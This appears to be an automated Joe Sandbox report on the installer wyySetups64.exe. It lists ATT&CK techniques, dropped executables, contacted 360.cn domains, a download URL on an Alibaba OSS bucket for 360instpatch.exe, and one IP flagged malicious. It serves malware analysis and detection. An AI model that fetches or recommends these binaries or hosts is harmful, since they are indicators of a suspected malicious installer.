IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	223 Process Injection	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Bootkit	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Indicator Removal	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
wyySetups64.exe	0%	ReversingLabs
wyySetups64.exe	6%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\360instpatch[1].exe	17%	ReversingLabs
C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll	4%	ReversingLabs
C:\Users\user\AppData\Roaming\wyySetups64.exe	0%	ReversingLabs
C:\Users\user\Downloads\360instpatch.exe	17%	ReversingLabs

Source	Detection	Scanner	Label
http://%s/%s.trt	0%	Avira URL Cloud	safe
http://sfdw.360safe.com/superkiller/superkillerexe_880765522ded7527821ce7448af08018_5.1.64.1181.cab	0%	Avira URL Cloud	safe
http://pinst.360.cn/zhuomian/desktopsafe.cab	0%	Avira URL Cloud	safe
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exez	0%	Avira URL Cloud	safe
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exen	0%	Avira URL Cloud	safe
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/34-1002	0%	Avira URL Cloud	safe
http://pinst.360.cn/360safe/h_inst.cab?rd=366083369C0-6B1983C61382	0%	Avira URL Cloud	safe
http://go.microsoftMicrosoft.PowerShell.ODataAdapter.ps1	0%	Avira URL Cloud	safe
http://go.microsoftM	0%	Avira URL Cloud	safe
http://wpad.%s/wpad.dat	0%	Avira URL Cloud	safe
http://%s/wpad.dat	0%	Avira URL Cloud	safe
http://%s/gf/360ini.cabhttp://dl.360safe.com/gf/360ini.cab	0%	Avira URL Cloud	safe
http://home.arcor.de/starwalker22/Test/UrlExtractDemo.cab	0%	Avira URL Cloud	safe
http://pinst.360.cn/360safe/h_inst.cab?rd=36608336st.c	0%	Avira URL Cloud	safe
https://bbs.360.cn/thread-16079507-1-1.html	0%	Avira URL Cloud	safe
http://wpad.%s/wpad.dathttp://%s/wpad.datwpad	0%	Avira URL Cloud	safe
http://sfdw.360safe.com/setup.exe.exe	0%	Avira URL Cloud	safe
http://%s/gf/360ini.cab	0%	Avira URL Cloud	safe
http://pinst.360.cn/360safe/h_inst.cab?rd=36608336//VJ8	0%	Avira URL Cloud	safe
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe0/	0%	Avira URL Cloud	safe
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe	0%	Avira URL Cloud	safe
http://pinst.360.cn/360safe/h_inst.cab	0%	Avira URL Cloud	safe
http://sfdw.360safe.com/safesetup_2000.exe360	0%	Avira URL Cloud	safe
http://agd.p.360.cn36pData	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tr.p.360.cn	1.192.136.132	true	false	high
agt.p.360.cn	1.192.136.132	true	false	high
agd2.p.360.cn	1.192.194.232	true	false	high
gwwifha84989.oss-ap-northeast-2.aliyuncs.com	149.129.12.34	true	false	unknown
s.360.cn	180.163.251.230	true	false	high
seupdate.360qhcdn.com	39.156.85.231	true	false	high
st.p.360.cn	1.192.136.170	true	false	high
agd.p.360.cn	unknown	unknown	false	high
pinst.360.cn	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://s.360.cn/safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=4187&downrate=0&downlen=0	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0	false		high
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe	360instpatch.exe, 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmp, 360instpatch.exe, 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000000.1789703618.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798326066.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799520437.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799550491.0000000000BF8000.00000004.00000001.01000000.0000000A.sdmp, sites.dll.8.dr, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safef	360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	wyySetups64.exe, wyySetups64.exe.0.dr	false		high
http://pinst.360.cn/zhuomian/desktopsafe.cab	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000006.00000002.1780265823.0000000007AD6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10	360instpatch.exe	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.12.dr	false		high
http://www.fontbureau.com/designers	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.12.dr	false		high
http://www.founder.com.cn/cn/cThe	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hao.360.cn/?installer	360instpatch.exe	false		high
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exen	wyySetups64.exe, 00000000.00000002.1809349190.0000000000198000.00000004.00000010.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1809394272.0000000000400000.00000040.00000001.01000000.00000003.sdmp, wyySetups64.exe, 00000001.00000002.4114622663.000000000019B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hao.360.cn	360instpatch.exe	false		high
https://www.remobjects.com/ps	wyySetups64.exe, wyySetups64.exe.0.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	wyySetups64.exe, wyySetups64.exe.0.dr	false		high
http://www.galapagosdesign.com/DPlease	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://%s/%s.trt	360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	false	Avira URL Cloud: safe	unknown
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exez	wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safef	360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.microsoftM	powershell.exe, 00000006.00000002.1779756708.0000000007A03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wpad.%s/wpad.dat	360instpatch.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1774677766.0000000005531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004838000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sfdw.360safe.com/superkiller/superkillerexe_880765522ded7527821ce7448af08018_5.1.64.1181.cab	360instpatch.exe	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000000C.00000003.1825614884.000001A6AFB32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	false		high
http://pinst.360.cn/360safe/h_inst.cab?rd=366083369C0-6B1983C61382	360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefi	360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.00000000031CA000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1844261692.000000000321E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/34-1002	wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoftMicrosoft.PowerShell.ODataAdapter.ps1	powershell.exe, 00000006.00000002.1779756708.0000000007A03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://down.360safe.com/setupbeta.exe	360instpatch.exe	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	360P2SP.dll.8.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1780192151.0000000007A74000.00000004.00000020.00020000.00000000.sdmp	false		high
http://%s/wpad.dat	360instpatch.exe	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000006.00000002.1774677766.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774677766.0000000005E88000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hao.360.com	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s.360.cn/safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safef	360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.3462329786.000001A6AFC10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://home.arcor.de/starwalker22/Test/UrlExtractDemo.cab	360instpatch.exe, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&installed=%d	360instpatch.exe	false		high
http://www.symauth.com/cps0(	360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safef	360instpatch.exe, 00000008.00000002.4116675905.00000000031DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://%s/gf/360ini.cab	360instpatch.exe	false	Avira URL Cloud: safe	unknown
http://down.360safe.com/setup.exePathSOFTWARE	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, sites.dll.8.dr, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://wpad.%s/wpad.dathttp://%s/wpad.datwpad	360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pinst.360.cn/360safe/h_inst.cab?rd=36608336st.c	360instpatch.exe, 00000008.00000002.4118556728.00000000046D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hao.360.cn/?installerhttps://hao.360.cnhttps://http://https://hao.360.cn/%s	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://www.fontbureau.com/designers/frere-user.html	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbs.360.cn/thread-16079507-1-1.html	360instpatch.exe	false	Avira URL Cloud: safe	unknown
https://hao.360.cn/	360instpatch.exe	false		high
http://www.symauth.com/rpa00	360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774677766.0000000005960000.00000004.00000800.00020000.00000000.sdmp	false		high
http://down.360safe.com/h11=	360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	false		high
http://123.com/wdurlprocsi:19510029safeinstallsafeinstall.infoseinstallseinstall.infopop:	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefin	360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1844261692.000000000320E000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1836204024.0000000003018000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.360.cn	360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	false		high
http://123.com/	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://%s/gf/360ini.cabhttp://dl.360safe.com/gf/360ini.cab	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://down.360safe.com/setup.exe	360instpatch.exe	false		high
http://pinst.360.cn/360safe/h_inst.cab?rd=36608336//VJ8	360instpatch.exe, 00000008.00000002.4118275547.0000000004286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefi	360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&http://s.360.cn/safe/instcomp	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false		high
http://www.fontbureau.com/designers/?	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	wyySetups64.exe, wyySetups64.exe.0.dr	false		high
http://sfdw.360safe.com/setup.exe.exe	360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefin	360instpatch.exe, 00000008.00000002.4116675905.0000000003206000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	false		high
http://www.360.cn/	360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	false		high
http://www.tiro.com	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe0/	wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://down.360safe.com/setup.exehttp://d	360instpatch.exe, 00000009.00000002.1799520437.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	wyySetups64.exe, wyySetups64.exe.0.dr	false		high
http://www.goodfont.co.kr	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBqq	powershell.exe, 00000006.00000002.1774677766.0000000005531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004838000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.12.dr	false		high
http://pinst.360.cn/360safe/h_inst.cab	360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://agd.p.360.cn36pData	360instpatch.exe, 00000008.00000002.4118556728.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sfdw.360safe.com/safesetup_2000.exe360	360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
39.156.85.201	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
39.156.85.200	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
1.192.136.135	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
39.156.85.231	seupdate.360qhcdn.com	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
180.163.251.230	s.360.cn	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
149.129.12.34	gwwifha84989.oss-ap-northeast-2.aliyuncs.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
1.192.136.171	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
8.46.123.189	unknown	United States	62713	AS-PUBMATICUS	false
1.192.136.134	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
1.192.136.133	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
1.192.136.132	tr.p.360.cn	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
1.192.136.170	st.p.360.cn	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
118.107.44.219	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581895
Start date and time:	2024-12-29 09:01:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
